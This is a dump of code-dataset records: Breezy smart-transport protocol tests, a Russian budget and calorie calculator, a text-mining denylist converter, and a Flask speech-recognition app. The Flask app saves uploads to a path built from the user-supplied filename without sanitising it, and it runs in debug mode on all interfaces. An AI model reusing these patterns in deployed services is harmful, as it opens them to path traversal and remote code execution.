smart_request._construct_protocol(3)\n        self.assertRaises(ConnectionResetError,\n                          smart_request._send_no_retry, encoder)\n\n    def test__send_read_response_sockets(self):\n        listen_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        listen_sock.bind(('127.0.0.1', 0))\n        listen_sock.listen(1)\n        host, port = listen_sock.getsockname()\n        client_medium = medium.SmartTCPClientMedium(host, port, '/')\n        client_medium._ensure_connection()\n        smart_client = client._SmartClient(client_medium)\n        smart_request = client._SmartClientRequest(smart_client, b'hello', ())\n        # Accept the connection, but don't actually talk to the client.\n        server_sock, _ = listen_sock.accept()\n        server_sock.close()\n        # Sockets buffer and don't really notice that the server has closed the\n        # connection until we try to read again.\n        handler = smart_request._send(3)\n        self.assertRaises(ConnectionResetError,\n                          handler.read_response_tuple, expect_body=False)\n\n    def test__send_retries_on_write(self):\n        output, vendor, smart_client = self.make_client_with_failing_medium()\n        smart_request = client._SmartClientRequest(smart_client, b'hello', ())\n        smart_request._send(3)\n        self.assertEqual(b'bzr message 3 (bzr 1.6)\\n'  # protocol\n                         b'\\x00\\x00\\x00\\x02de'   # empty headers\n                         b's\\x00\\x00\\x00\\tl5:helloee',\n                         output.getvalue())\n        self.assertEqual(\n            [('connect_ssh', 'a user', 'a pass', 'a host', 'a port',\n              ['bzr', 'serve', '--inet', '--directory=/', '--allow-writes']),\n             ('close',),\n             ('connect_ssh', 'a user', 'a pass', 'a host', 'a port',\n              ['bzr', 'serve', '--inet', '--directory=/', '--allow-writes']),\n             ],\n            vendor.calls)\n\n    def test__send_doesnt_retry_read_failure(self):\n        output, vendor, smart_client = self.make_client_with_failing_medium(\n            fail_at_write=False)\n        smart_request = client._SmartClientRequest(smart_client, b'hello', ())\n        handler = smart_request._send(3)\n        self.assertEqual(b'bzr message 3 (bzr 1.6)\\n'  # protocol\n                         b'\\x00\\x00\\x00\\x02de'   # empty headers\n                         b's\\x00\\x00\\x00\\tl5:helloee',\n                         output.getvalue())\n        self.assertEqual(\n            [('connect_ssh', 'a user', 'a pass', 'a host', 'a port',\n              ['bzr', 'serve', '--inet', '--directory=/', '--allow-writes']),\n             ],\n            vendor.calls)\n        self.assertRaises(ConnectionResetError, handler.read_response_tuple)\n\n    def test__send_request_retries_body_stream_if_not_started(self):\n        output, vendor, smart_client = self.make_client_with_failing_medium()\n        smart_request = client._SmartClientRequest(smart_client, b'hello', (),\n                                                   body_stream=[b'a', b'b'])\n        smart_request._send(3)\n        # We connect, get disconnected, and notice before consuming the stream,\n        # so we try again one time and succeed.\n        self.assertEqual(\n            [('connect_ssh', 'a user', 'a pass', 'a host', 'a port',\n              ['bzr', 'serve', '--inet', '--directory=/', '--allow-writes']),\n             ('close',),\n             ('connect_ssh', 'a user', 'a pass', 'a host', 'a port',\n              ['bzr', 'serve', '--inet', '--directory=/', '--allow-writes']),\n             ],\n            vendor.calls)\n        self.assertEqual(b'bzr message 3 (bzr 1.6)\\n'  # protocol\n                         b'\\x00\\x00\\x00\\x02de'   # empty headers\n                         b's\\x00\\x00\\x00\\tl5:helloe'\n                         b'b\\x00\\x00\\x00\\x01a'\n                         b'b\\x00\\x00\\x00\\x01b'\n                         b'e',\n                         output.getvalue())\n\n    def test__send_request_stops_if_body_started(self):\n        # We intentionally use the python BytesIO so that we can subclass it.\n        from io import BytesIO\n        response = BytesIO()\n\n        class FailAfterFirstWrite(BytesIO):\n            \"\"\"Allow one 'write' call to pass, fail the rest.\"\"\"\n\n            def __init__(self):\n                BytesIO.__init__(self)\n                self._first = True\n\n            def write(self, s):\n                if self._first:\n                    self._first = False\n                    return BytesIO.write(self, s)\n                raise OSError(errno.EINVAL, 'invalid file handle')\n        output = FailAfterFirstWrite()\n\n        vendor = FirstRejectedBytesIOSSHVendor(response, output,\n                                               fail_at_write=False)\n        ssh_params = medium.SSHParams('a host', 'a port', 'a user', 'a pass')\n        client_medium = medium.SmartSSHClientMedium('base', ssh_params, vendor)\n        smart_client = client._SmartClient(client_medium, headers={})\n        smart_request = client._SmartClientRequest(smart_client, b'hello', (),\n                                                   body_stream=[b'a', b'b'])\n        self.assertRaises(ConnectionResetError, smart_request._send, 3)\n        # We connect, and manage to get to the point that we start consuming\n        # the body stream. The next write fails, so we just stop.\n        self.assertEqual(\n            [('connect_ssh', 'a user', 'a pass', 'a host', 'a port',\n              ['bzr', 'serve', '--inet', '--directory=/', '--allow-writes']),\n             ('close',),\n             ],\n            vendor.calls)\n        self.assertEqual(b'bzr message 3 (bzr 1.6)\\n'  # protocol\n                         b'\\x00\\x00\\x00\\x02de'   # empty headers\n                         b's\\x00\\x00\\x00\\tl5:helloe',\n                         output.getvalue())\n\n    def test__send_disabled_retry(self):\n        debug.set_debug_flag('noretry')\n        output, vendor, smart_client = self.make_client_with_failing_medium()\n        smart_request = client._SmartClientRequest(smart_client, b'hello', ())\n        self.assertRaises(ConnectionResetError, smart_request._send, 3)\n        self.assertEqual(\n            [('connect_ssh', 'a user', 'a pass', 'a host', 'a port',\n              ['bzr', 'serve', '--inet', '--directory=/', '--allow-writes']),\n             ('close',),\n             ],\n            vendor.calls)\n\n\nclass LengthPrefixedBodyDecoder(tests.TestCase):\n\n    # XXX: TODO: make accept_reading_trailer invoke translate_response or\n    # something similar to the ProtocolBase method.\n\n    def test_construct(self):\n        decoder = protocol.LengthPrefixedBodyDecoder()\n        self.assertFalse(decoder.finished_reading)\n        self.assertEqual(6, decoder.next_read_size())\n        self.assertEqual(b'', decoder.read_pending_data())\n        self.assertEqual(b'', decoder.unused_data)\n\n    def test_accept_bytes(self):\n        decoder = protocol.LengthPrefixedBodyDecoder()\n        decoder.accept_bytes(b'')\n        self.assertFalse(decoder.finished_reading)\n        self.assertEqual(6, decoder.next_read_size())\n        self.assertEqual(b'', decoder.read_pending_data())\n        self.assertEqual(b'', decoder.unused_data)\n        decoder.accept_bytes(b'7')\n        self.assertFalse(decoder.finished_reading)\n        self.assertEqual(6, decoder.next_read_size())\n        self.assertEqual(b'', decoder.read_pending_data())\n        self.assertEqual(b'', decoder.unused_data)\n        decoder.accept_bytes(b'\\na')\n        self.assertFalse(decoder.finished_reading)\n        self.assertEqual(11, decoder.next_read_size())\n        self.assertEqual(b'a', decoder.read_pending_data())\n        self.assertEqual(b'', decoder.unused_data)\n        decoder.accept_bytes(b'bcdefgd')\n        self.assertFalse(decoder.finished_reading)\n        self.assertEqual(4, decoder.next_read_size())\n        self.assertEqual(b'bcdefg', decoder.read_pending_data())\n        self.assertEqual(b'', decoder.unused_data)\n        decoder.accept_bytes(b'one')\n        self.assertFalse(decoder.finished_reading)\n        self.assertEqual(1, decoder.next_read_size())\n        self.assertEqual(b'', decoder.read_pending_data())\n        self.assertEqual(b'', decoder.unused_data)\n        decoder.accept_bytes(b'\\nblarg')\n        self.assertTrue(decoder.finished_reading)\n        self.assertEqual(1, decoder.next_read_size())\n        self.assertEqual(b'', decoder.read_pending_data())\n        self.assertEqual(b'blarg', decoder.unused_data)\n\n    def test_accept_bytes_all_at_once_with_excess(self):\n        decoder = protocol.LengthPrefixedBodyDecoder()\n        decoder.accept_bytes(b'1\\nadone\\nunused')\n        self.assertTrue(decoder.finished_reading)\n        self.assertEqual(1, decoder.next_read_size())\n        self.assertEqual(b'a', decoder.read_pending_data())\n        self.assertEqual(b'unused', decoder.unused_data)\n\n    def test_accept_bytes_exact_end_of_body(self):\n        decoder = protocol.LengthPrefixedBodyDecoder()\n        decoder.accept_bytes(b'1\\na')\n        self.assertFalse(decoder.finished_reading)\n        self.assertEqual(5, decoder.next_read_size())\n        self.assertEqual(b'a', decoder.read_pending_data())\n        self.assertEqual(b'', decoder.unused_data)\n        decoder.accept_bytes(b'done\\n')\n        self.assertTrue(decoder.finished_reading)\n        self.assertEqual(1, decoder.next_read_size())\n        self.assertEqual(b'', decoder.read_pending_data())\n        self.assertEqual(b'', decoder.unused_data)\n\n\nclass TestChunkedBodyDecoder(tests.TestCase):\n    \"\"\"Tests for ChunkedBodyDecoder.\n\n    This is the body decoder used for protocol version two.\n    \"\"\"\n\n    def test_construct(self):\n        decoder = protocol.ChunkedBodyDecoder()\n        self.assertFalse(decoder.finished_reading)\n        self.assertEqual(8, decoder.next_read_size())\n        self.assertEqual(None, decoder.read_next_chunk())\n        self.assertEqual(b'', decoder.unused_data)\n\n    def test_empty_content(self):\n        r\"\"\"'chunked\\nEND\\n' is the complete encoding of a zero-length body.\"\"\"\n        decoder = protocol.ChunkedBodyDecoder()\n        decoder.accept_bytes(b'chunked\\n')\n        decoder.accept_bytes(b'END\\n')\n        self.assertTrue(decoder.finished_reading)\n        self.assertEqual(None, decoder.read_next_chunk())\n        self.assertEqual(b'', decoder.unused_data)\n\n    def test_one_chunk(self):\n        \"\"\"A body in a single chunk is decoded correctly.\"\"\"\n        decoder = protocol.ChunkedBodyDecoder()\n        decoder.accept_bytes(b'chunked\\n')\n        chunk_length = b'f\\n'\n        chunk_content = b'123456789abcdef'\n        finish = b'END\\n'\n        decoder.accept_bytes(chunk_length + chunk_content + finish)\n        self.assertTrue(decoder.finished_reading)\n        self.assertEqual(chunk_content, decoder.read_next_chunk())\n        self.assertEqual(b'', decoder.unused_data)\n\n    def test_incomplete_chunk(self):\n        \"\"\"When there are less bytes in the chunk than declared by the length,\n        then we haven't finished reading yet.\n        \"\"\"\n        decoder = protocol.ChunkedBodyDecoder()\n        decoder.accept_bytes(b'chunked\\n')\n        chunk_length = b'8\\n'\n        three_bytes = b'123'\n        decoder.accept_bytes(chunk_length + three_bytes)\n        self.assertFalse(decoder.finished_reading)\n        self.assertEqual(\n            5 + 4, decoder.next_read_size(),\n            \"The next_read_size hint should be the number of missing bytes in \"\n            \"this chunk plus 4 (the length of the end-of-body marker: \"\n            \"'END\\\\n')\")\n        self.assertEqual(None, decoder.read_next_chunk())\n\n    def test_incomplete_length(self):\n        \"\"\"A chunk length hasn't been read until a newline byte has been read.\"\"\"\n        decoder = protocol.ChunkedBodyDecoder()\n        decoder.accept_bytes(b'chunked\\n')\n        decoder.accept_bytes(b'9')\n        self.assertEqual(\n            1, decoder.next_read_size(),\n            \"The next_read_size hint should be 1, because we don't know the \"\n            \"length yet.\")\n        decoder.accept_bytes(b'\\n')\n        self.assertEqual(\n            9 + 4, decoder.next_read_size(),\n            \"The next_read_size hint should be the length of the chunk plus 4 \"\n            \"(the length of the end-of-body marker: 'END\\\\n')\")\n        self.assertFalse(decoder.finished_reading)\n        self.assertEqual(None, decoder.read_next_chunk())\n\n    def test_two_chunks(self):\n        \"\"\"Content from multiple chunks is concatenated.\"\"\"\n        decoder = protocol.ChunkedBodyDecoder()\n        decoder.accept_bytes(b'chunked\\n')\n        chunk_one = b'3\\naaa'\n        chunk_two = b'5\\nbbbbb'\n        finish = b'END\\n'\n        decoder.accept_bytes(chunk_one + chunk_two + finish)\n        self.assertTrue(decoder.finished_reading)\n        self.assertEqual(b'aaa', decoder.read_next_chunk())\n        self.assertEqual(b'bbbbb', decoder.read_next_chunk())\n        self.assertEqual(None, decoder.read_next_chunk())\n        self.assertEqual(b'', decoder.unused_data)\n\n    def test_excess_bytes(self):\n        \"\"\"Bytes after the chunked body are reported as unused bytes.\"\"\"\n        decoder = protocol.ChunkedBodyDecoder()\n        decoder.accept_bytes(b'chunked\\n')\n        chunked_body = b\"5\\naaaaaEND\\n\"\n        excess_bytes = b\"excess bytes\"\n        decoder.accept_bytes(chunked_body + excess_bytes)\n        self.assertTrue(decoder.finished_reading)\n        self.assertEqual(b'aaaaa', decoder.read_next_chunk())\n        self.assertEqual(excess_bytes, decoder.unused_data)\n        self.assertEqual(\n            1, decoder.next_read_size(),\n            \"next_read_size hint should be 1 when finished_reading.\")\n\n    def test_multidigit_length(self):\n        \"\"\"Lengths in the chunk prefixes can have multiple digits.\"\"\"\n        decoder = protocol.ChunkedBodyDecoder()\n        decoder.accept_bytes(b'chunked\\n')\n        length = 0x123\n        chunk_prefix = hex(length).encode('ascii') + b'\\n'\n        chunk_bytes = b'z' * length\n        finish = b'END\\n'\n        decoder.accept_bytes(chunk_prefix + chunk_bytes + finish)\n        self.assertTrue(decoder.finished_reading)\n        self.assertEqual(chunk_bytes, decoder.read_next_chunk())\n\n    def test_byte_at_a_time(self):\n        \"\"\"A complete body fed to the decoder one byte at a time should not\n        confuse the decoder.  That is, it should give the same result as if the\n        bytes had been received in one batch.\n\n        This test is the same as test_one_chunk apart from the way accept_bytes\n        is called.\n        \"\"\"\n        decoder = protocol.ChunkedBodyDecoder()\n        decoder.accept_bytes(b'chunked\\n')\n        chunk_length = b'f\\n'\n        chunk_content = b'123456789abcdef'\n        finish = b'END\\n'\n        combined = chunk_length + chunk_content + finish\n        for i in range(len(combined)):\n            decoder.accept_bytes(combined[i:i + 1])\n        self.assertTrue(decoder.finished_reading)\n        self.assertEqual(chunk_content, decoder.read_next_chunk())\n        self.assertEqual(b'', decoder.unused_data)\n\n    def test_read_pending_data_resets(self):\n        \"\"\"read_pending_data does not return the same bytes twice.\"\"\"\n        decoder = protocol.ChunkedBodyDecoder()\n        decoder.accept_bytes(b'chunked\\n')\n        chunk_one = b'3\\naaa'\n        chunk_two = b'3\\nbbb'\n        decoder.accept_bytes(chunk_one)\n        self.assertEqual(b'aaa', decoder.read_next_chunk())\n        decoder.accept_bytes(chunk_two)\n        self.assertEqual(b'bbb', decoder.read_next_chunk())\n        self.assertEqual(None, decoder.read_next_chunk())\n\n    def test_decode_error(self):\n        decoder = protocol.ChunkedBodyDecoder()\n        decoder.accept_bytes(b'chunked\\n')\n        chunk_one = b'b\\nfirst chunk'\n        error_signal = b'ERR\\n'\n        error_chunks = b'5\\npart1' + b'5\\npart2'\n        finish = b'END\\n'\n        decoder.accept_bytes(chunk_one + error_signal + error_chunks + finish)\n        self.assertTrue(decoder.finished_reading)\n        self.assertEqual(b'first chunk', decoder.read_next_chunk())\n        expected_failure = _mod_request.FailedSmartServerResponse(\n            (b'part1', b'part2'))\n        self.assertEqual(expected_failure, decoder.read_next_chunk())\n\n    def test_bad_header(self):\n        \"\"\"accept_bytes raises a SmartProtocolError if a chunked body does not\n        start with the right header.\n        \"\"\"\n        decoder = protocol.ChunkedBodyDecoder()\n        self.assertRaises(\n            errors.SmartProtocolError, decoder.accept_bytes, b'bad header\\n')\n\n\nclass TestSuccessfulSmartServerResponse(tests.TestCase):\n\n    def test_construct_no_body(self):\n        response = _mod_request.SuccessfulSmartServerResponse((b'foo', b'bar'))\n        self.assertEqual((b'foo', b'bar'), response.args)\n        self.assertEqual(None, response.body)\n\n    def test_construct_with_body(self):\n        response = _mod_request.SuccessfulSmartServerResponse((b'foo', b'bar'),\n                                                              b'bytes')\n        self.assertEqual((b'foo', b'bar'), response.args)\n        self.assertEqual(b'bytes', response.body)\n        # repr(response) doesn't trigger exceptions.\n        repr(response)\n\n    def test_construct_with_body_stream(self):\n        bytes_iterable = [b'abc']\n        response = _mod_request.SuccessfulSmartServerResponse(\n            (b'foo', b'bar'), body_stream=bytes_iterable)\n        self.assertEqual((b'foo', b'bar'), response.args)\n        self.assertEqual(bytes_iterable, response.body_stream)\n\n    def test_construct_rejects_body_and_body_stream(self):\n        \"\"\"'body' and 'body_stream' are mutually exclusive.\"\"\"  # noqa: D403\n        self.assertRaises(\n            errors.BzrError,\n            _mod_request.SuccessfulSmartServerResponse, (), b'body', [b'stream'])\n\n    def test_is_successful(self):\n        \"\"\"is_successful should return True for SuccessfulSmartServerResponse.\"\"\"\n        response = _mod_request.SuccessfulSmartServerResponse((b'error',))\n        self.assertEqual(True, response.is_successful())\n\n\nclass TestFailedSmartServerResponse(tests.TestCase):\n\n    def test_construct(self):\n        response = _mod_request.FailedSmartServerResponse((b'foo', b'bar'))\n        self.assertEqual((b'foo', b'bar'), response.args)\n        self.assertEqual(None, response.body)\n        response = _mod_request.FailedSmartServerResponse(\n            (b'foo', b'bar'), b'bytes')\n        self.assertEqual((b'foo', b'bar'), response.args)\n        self.assertEqual(b'bytes', response.body)\n        # repr(response) doesn't trigger exceptions.\n        repr(response)\n\n    def test_is_successful(self):\n        \"\"\"is_successful should return False for FailedSmartServerResponse.\"\"\"\n        response = _mod_request.FailedSmartServerResponse((b'error',))\n        self.assertEqual(False, response.is_successful())\n\n\nclass FakeHTTPMedium:\n    def __init__(self):\n        self.written_request = None\n        self._current_request = None\n\n    def send_http_smart_request(self, bytes):\n        self.written_request = bytes\n        return None\n\n\nclass HTTPTunnellingSmokeTest(tests.TestCase):\n\n    def setUp(self):\n        super().setUp()\n        # We use the VFS layer as part of HTTP tunnelling tests.\n        self.overrideEnv('BRZ_NO_SMART_VFS', None)\n\n    def test_smart_http_medium_request_accept_bytes(self):\n        medium = FakeHTTPMedium()\n        request = urllib.SmartClientHTTPMediumRequest(medium)\n        request.accept_bytes(b'abc')\n        request.accept_bytes(b'def')\n        self.assertEqual(None, medium.written_request)\n        request.finished_writing()\n        self.assertEqual(b'abcdef', medium.written_request)\n\n\nclass RemoteHTTPTransportTestCase(tests.TestCase):\n\n    def test_remote_path_after_clone_child(self):\n        # If a user enters \"bzr+http://host/foo\", we want to sent all smart\n        # requests for child URLs of that to the original URL.  i.e., we want to\n        # POST to \"bzr+http://host/foo/.bzr/smart\" and never something like\n        # \"bzr+http://host/foo/.bzr/branch/.bzr/smart\".  So, a cloned\n        # RemoteHTTPTransport remembers the initial URL, and adjusts the\n        # relpaths it sends in smart requests accordingly.\n        base_transport = remote.RemoteHTTPTransport('bzr+http://host/path')\n        new_transport = base_transport.clone('child_dir')\n        self.assertEqual(base_transport._http_transport,\n                         new_transport._http_transport)\n        self.assertEqual('child_dir/foo', new_transport._remote_path('foo'))\n        self.assertEqual(\n            b'child_dir/',\n            new_transport._client.remote_path_from_transport(new_transport))\n\n    def test_remote_path_unnormal_base(self):\n        # If the transport's base isn't normalised, the _remote_path should\n        # still be calculated correctly.\n        base_transport = remote.RemoteHTTPTransport('bzr+http://host/%7Ea/b')\n        self.assertEqual('c', base_transport._remote_path('c'))\n\n    def test_clone_unnormal_base(self):\n        # If the transport's base isn't normalised, cloned transports should\n        # still work correctly.\n        base_transport = remote.RemoteHTTPTransport('bzr+http://host/%7Ea/b')\n        new_transport = base_transport.clone('c')\n        self.assertEqual(base_transport.base + 'c/', new_transport.base)\n        self.assertEqual(\n            b'c/',\n            new_transport._client.remote_path_from_transport(new_transport))\n\n    def test__redirect_to(self):\n        t = remote.RemoteHTTPTransport('bzr+http://www.example.com/foo')\n        r = t._redirected_to('http://www.example.com/foo',\n                             'http://www.example.com/bar')\n        self.assertEqual(type(r), type(t))\n\n    def test__redirect_sibling_protocol(self):\n        t = remote.RemoteHTTPTransport('bzr+http://www.example.com/foo')\n        r = t._redirected_to('http://www.example.com/foo',\n                             'https://www.example.com/bar')\n        self.assertEqual(type(r), type(t))\n        self.assertStartsWith(r.base, 'bzr+https')\n\n    def test__redirect_to_with_user(self):\n        t = remote.RemoteHTTPTransport('bzr+http://joe@www.example.com/foo')\n        r = t._redirected_to('http://www.example.com/foo',\n                             'http://www.example.com/bar')\n        self.assertEqual(type(r), type(t))\n        self.assertEqual('joe', t._parsed_url.user)\n        self.assertEqual(t._parsed_url.user, r._parsed_url.user)\n\n    def test_redirected_to_same_host_different_protocol(self):\n        t = remote.RemoteHTTPTransport('bzr+http://joe@www.example.com/foo')\n        r = t._redirected_to('http://www.example.com/foo',\n                             'bzr://www.example.com/foo')\n        self.assertNotEqual(type(r), type(t))\n\n\nclass TestErrors(tests.TestCase):\n    def test_too_many_concurrent_requests(self):\n        error = medium.TooManyConcurrentRequests(\"a medium\")\n        self.assertEqualDiff(\"The medium 'a medium' has reached its concurrent \"\n                             \"request limit. Be sure to finish_writing and finish_reading on \"\n                             \"the currently open request.\",\n                             str(error))\n\n    def test_smart_message_handler_error(self):\n        # Make an exc_info tuple.\n        try:\n            raise Exception(\"example error\")\n        except Exception:\n            err = protocol.SmartMessageHandlerError(sys.exc_info())\n        # GZ 2010-11-08: Should not store exc_info in exception instances.\n        try:\n            self.assertStartsWith(\n                str(err), \"The message handler raised an exception:\\n\")\n            self.assertEndsWith(str(err), \"Exception: example error\\n\")\n        finally:\n            del err\n\n\n","repo_name":"breezy-team/breezy","sub_path":"breezy/bzr/tests/test_smart_transport.py","file_name":"test_smart_transport.py","file_ext":"py","file_size_in_byte":191225,"program_lang":"python","lang":"en","doc_type":"code","stars":100,"dataset":"github-code","pt":"22"}
+{"seq_id":"30737850216","text":"import datetime as dt\n\n\nclass Calculator:\n\n    def __init__(self, limit):\n        self.limit = limit\n        self.records = []\n\n    def add_record(self, record):\n        self.records.append(record)\n\n    def get_today_computation(self):\n        new_method = self.limit - self.get_today_stats()\n        return new_method\n\n    def get_today_stats(self):\n        day_spent = 0\n        date_today = dt.datetime.today().date()\n        for i in self.records:\n            if i.date == date_today:\n                day_spent += i.amount\n        return day_spent\n\n    def get_week_stats(self):\n        week_stats = 0\n        today = dt.datetime.today().date()\n        delta = dt.timedelta(days=7)\n        date_week_ago = today - delta\n        for i in self.records:\n            if date_week_ago < i.date <= today:\n                week_stats += i.amount\n        return week_stats\n\n\nclass Record:\n\n    def __init__(self, amount, comment, date=None):\n        self.amount = amount\n        self.comment = comment\n        if date is None:\n            self.date = date\n            self.date = dt.datetime.today().date()\n        else:\n            self.date = dt.datetime.strptime(date, \"%d.%m.%Y\").date()\n\n\nclass CashCalculator(Calculator):\n    USD_RATE = 73.11\n    EURO_RATE = 88.34\n\n    def get_today_cash_remained(self, currency):\n        currency_dict = {\n            \"rub\": (1, \"руб\"),\n            \"usd\": (self.USD_RATE, \"USD\"),\n            \"eur\": (self.EURO_RATE, \"Euro\")\n        }\n        if currency in currency_dict:\n            rate, name = currency_dict[currency]\n        else:\n            return 'Не знаю такую валюту'\n        if self.limit > self.get_today_stats():\n            cash_remained = round(self.get_today_computation() / rate, 2)\n            return f'На сегодня осталось {cash_remained} {name}'\n        elif self.limit / rate == self.get_today_stats() / rate:\n            return 'Денег нет, держись'\n        else:\n            cash_remained = abs(round(self.get_today_computation() / rate, 2))\n            return f'Денег нет, держись: твой долг - {cash_remained} {name}'\n\n\nclass CaloriesCalculator(Calculator):\n\n    def get_calories_remained(self):\n        remain = self.get_today_computation()\n        if remain <= 0:\n            return 'Хватит есть!'\n        else:\n            return (f'Сегодня можно съесть что-нибудь ещё, но с общей '\n                    f'калорийностью не более {remain} кКал')\n","repo_name":"acolyte-py/hw_python_oop","sub_path":"homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":2550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25372833520","text":"import json\nimport os\n\nimport jellyfish\nfrom langdetect import detect\n\nfrom src.text_mining.classes import Document, Denylist, TextContainer, DenyItem\nfrom src.util import LogCollector\n\n\nclass Converter:\n\n    config_file = os.path.join(os.path.dirname(__file__), '../config.json')\n\n    def __init__(self, log_collector: LogCollector):\n        self.log_collector = log_collector\n        with open(self.config_file) as f:\n            config = json.load(f)\n        self.denylist = [DenyItem(item) for item in config[\"denylist_paragraphs\"]]\n\n    def run(self, path: str, filename: str) -> Document:\n        document = self.convert(path, filename)\n        document = self.filter(document)\n        document.locale = detect(document.get_text())\n        return document\n\n    def convert(self, path: str, filename: str) -> Document:\n        raise NotImplementedError\n\n    def filter(self, document: Document) -> Document:\n        paragraph_indices = []\n        for i in range(len(document)):\n            if Converter.is_in_denylist(list(document)[i], self.get_denylist()):\n                paragraph_indices.append(i)\n            else:\n                sentence_indices = []\n                paragraph = document.get_index(i)\n                for j in range(len(paragraph)):\n                    if Converter.is_in_denylist(list(paragraph)[j], self.get_denylist()):\n                        sentence_indices.append(i)\n                for index in reversed(sentence_indices):\n                    paragraph.remove_index(index)\n\n        for index in reversed(paragraph_indices):\n            document.remove_index(index)\n        return document\n\n    @staticmethod\n    def is_in_denylist(text_container: TextContainer, denylist: Denylist):\n        for item in denylist:\n            if Converter.is_similar(text_container, item, denylist.base_precision):\n                return True\n        return False\n\n    @staticmethod\n    def is_similar(text_container: TextContainer, deny_item: DenyItem, base_precision) -> bool:\n        precision = base_precision if deny_item.precision is None else deny_item.precision\n        levenshtein_distance = jellyfish.levenshtein_distance(text_container.get_text(), deny_item.value)\n        return levenshtein_distance < precision\n\n    def get_denylist(self) -> Denylist:\n        return Denylist(self.denylist, 1)\n","repo_name":"nevliin/ioc-detective","sub_path":"src/text_mining/converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":2326,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"44131968161","text":"import os\nfrom flask import Flask, request, jsonify, render_template\nimport librosa\nimport pickle\nimport numpy as np\nimport io\nimport pandas as pd\nfrom collections import Counter\n\n\napp = Flask(__name__)\n\n# templates/static/ dizinini statik dosyaların bulunduğu dizin olarak belirle\napp.static_folder = os.path.abspath(path=\"templates/static/\")\n\nmodel = None\n\n# Eğer eğitilmiş model varsa yükle\nif os.path.exists(os.path.join('ML', 'training_models', 'finalized_model.sav')):\n    model = pickle.load(open(os.path.join('ML', 'training_models', 'finalized_model.sav'), 'rb'))\n\n\n@app.route(\"/\", methods=[\"GET\"])\ndef index():\n    return render_template(\"layouts/index.html\")\n\n@app.route(\"/recorder\", methods=[\"GET\"])\ndef recorder():\n    return render_template(\"layouts/recorder.html\")\n\n@app.route(\"/talk\", methods=[\"GET\"])\ndef talk():\n    return render_template(\"layouts/talk.html\")\n\n@app.route(\"/modelIsThere\", methods=[\"GET\"])\ndef modelIsThere():\n    if model is not None:\n        return jsonify({'message': 'success'})\n    else:\n        return jsonify({'message': 'error'})\n\n'''\n>>> Açıklama\n>>> --------\n>>> Bu endpoint, eğitilmek üzere gönderilen ses dosyalarını kaydeder.\n'''\n@app.route(\"/saveAudio\", methods=['POST', 'GET'])\ndef saveAudio():\n    try:\n        audio_data = request.files['audio_data']\n\n        # gelen ses dosyasından isim bilgisini al\n        filename = audio_data.filename\n        name = filename.split('-')[0]\n\n        # eğer ML dizini yoksa oluştur\n        if not os.path.exists(os.path.join('ML', 'training_set')):\n            os.makedirs(os.path.join('ML', 'training_set'))\n\n        # eğer böyle bir isimde klasör yoksa oluştur\n        if not os.path.exists(os.path.join('ML', 'training_set', name)):\n            os.makedirs(os.path.join('ML', 'training_set', name))\n\n        # ses dosyasının kaydedileceği yol\n        WAVE_PATH = os.path.join('ML', 'training_set', name, filename)\n\n        # bu ses dosyasının yolunu trainedfilelist.txt dosyasına kaydet\n        trainedfilelist = open(os.path.join('ML', 'trainedfilelist.txt'), 'a')\n        trainedfilelist.write(WAVE_PATH + '\\n')\n        trainedfilelist.close()\n\n        # ses dosyasını WAVE_PATH yoluna kaydet\n        audio_data.save(WAVE_PATH)\n\n        return jsonify({'message': 'success'})\n\n    except Exception as e:\n        return jsonify({'error': str(e)})\n\n\n'''\n>>> Açıklama\n>>> --------\n>>> Bu endpoint, tahmin edilmek üzere gönderilen ses dosyasını model üzerinden tahmin eder.\n'''\n@app.route(\"/postSound\", methods=['POST', 'GET'])\ndef postSound():\n    try:\n        if model is not None:\n            f = request.files['audio_data']\n            filename = f.filename\n\n            features = []\n\n            # ses dosyasını yükle\n            audio, rate = librosa.load(f)\n\n            # ses dosyasının başındaki ve sonundaki boşlukları kaldır\n            y_trimmed, _ = librosa.effects.trim(audio, top_db=20)\n\n            # ses dosyası çok kısa ise tahmin etme\n            if len(y_trimmed) < 4410:\n                return jsonify(\"\")\n\n            # ses dosyasını 200 milisaniyelik parçalara böl\n            # her bir parçadan mfcc çıkar\n            for i in range(0, len(y_trimmed), 4410):\n                if i+4410 < len(y_trimmed):\n                    comph_mfccs = feature_extraction(y_trimmed[i:i+4410], rate)\n                    features.append(comph_mfccs)\n\n            # çıkarılan mfcc'leri numpy dizisine çevir ve tahmin edilmeye hazır hale getir                        \n            features = np.array(features).reshape(len(features), -1)\n\n            # tahmin et\n            result = model.predict(features)\n\n            # olası ihtimalleri say ve en çok olanı döndür\n            result = Counter(result).most_common(1)[0][0]\n\n            return jsonify({'result': result})\n        else:\n            return jsonify({'error': 'error'})\n    except Exception as e:\n        return jsonify({'error': str(e)})\n\n'''\n>>> Açıklama\n>>> --------\n>>> Bu fonksiyon ile ses dosyalarından öznitelik çıkarılır.\n>>> Öznitelik çıkarımı için MFCC kullanılır.\n>>> MFCC'lerin delta ve delta2'leri de hesaplanır.\n>>> Son olarak bu değerler birleştirilir ve geri döndürülür.\n'''\ndef feature_extraction(audio, rate):\n    mfccs = librosa.feature.mfcc(y=audio, sr=rate, n_mfcc=13)\n    delta_mfccs = librosa.feature.delta(mfccs)\n    delta2_mfccs = librosa.feature.delta(mfccs, order=2)\n    comph_mfccs = np.concatenate((mfccs, delta_mfccs, delta2_mfccs))\n    return comph_mfccs\n    \nif __name__ == \"__main__\":\n    app.run(host=\"0.0.0.0\", port=8080, debug=True)  ","repo_name":"yusufEk1n/Speech-Recognition","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4616,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
